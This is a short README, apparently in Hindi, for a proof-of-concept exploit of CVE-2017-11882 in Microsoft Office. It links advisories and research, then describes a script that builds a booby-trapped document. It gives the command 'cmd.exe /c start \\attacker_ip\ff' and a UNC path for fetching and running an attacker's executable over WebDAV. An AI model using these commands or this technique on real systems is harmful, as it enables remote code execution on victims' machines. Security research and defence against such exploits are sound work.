CVE-2017-11882

CVE-2017-11882: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882

MITRE CVE-2017-11882: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11882

अनुसंधान: https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about

पैच विश्लेषण: https://0patch.blogspot.ru/2017/11/did-microsoft-just-manually-patch-their.html

डेमो PoC शोषण: https://www.youtube.com/watch?v=LNFG0lktXQI&lc=z23qixrixtveyb2be04t1aokgz10ymfjvfkfx1coc3qhrk0h00410

webdav_exec CVE-2017-11882

CVE-2017-11882 के लिए एक सरल PoC। यह शोषण WebClient सेवा को शुरू करने और हमलावर-नियंत्रित WebDav सर्वर से दूरस्थ फ़ाइल निष्पादित करने के लिए ट्रिगर करता है। यह दृष्टिकोण क्यों उपयोगी हो सकता है, इसका कारण निष्पादित कमांड की लंबाई की सीमा है। हालांकि WebDav की मदद से, कमजोर मशीन पर मनमाना हमलावर-नियंत्रित निष्पादन योग्य लॉन्च करना संभव है। यह स्क्रिप्ट कई OLE ऑब्जेक्ट्स के साथ एक सरल दस्तावेज़ बनाती है। ये ऑब्जेक्ट्स CVE-2017-11882 का शोषण करते हैं, जिसके परिणामस्वरूप अनुक्रमिक कमांड निष्पादन होता है।

WebClient सेवा प्रारंभ को ट्रिगर करने वाला पहला कमांड इस प्रकार दिख सकता है:

cmd.exe /c start \\attacker_ip\ff

हमलावर-नियंत्रित बाइनरी पथ एक UNC नेटवर्क पथ होना चाहिए:

\\attacker_ip\ff\1.exe

उपयोग

webdav_exec_CVE-2017-11882.py -u trigger_unc_path -e executable_unc_path -o output_file_name

CVE-2017-11882 के लिए नमूना शोषण (पेलोड के रूप में calc.exe प्रारंभ करना)

example फ़ोल्डर में एक .rtf फ़ाइल है जो CVE-2017-11882 भेद्यता का शोषण करती है और सिस्टम में कैलकुलेटर चलाती है।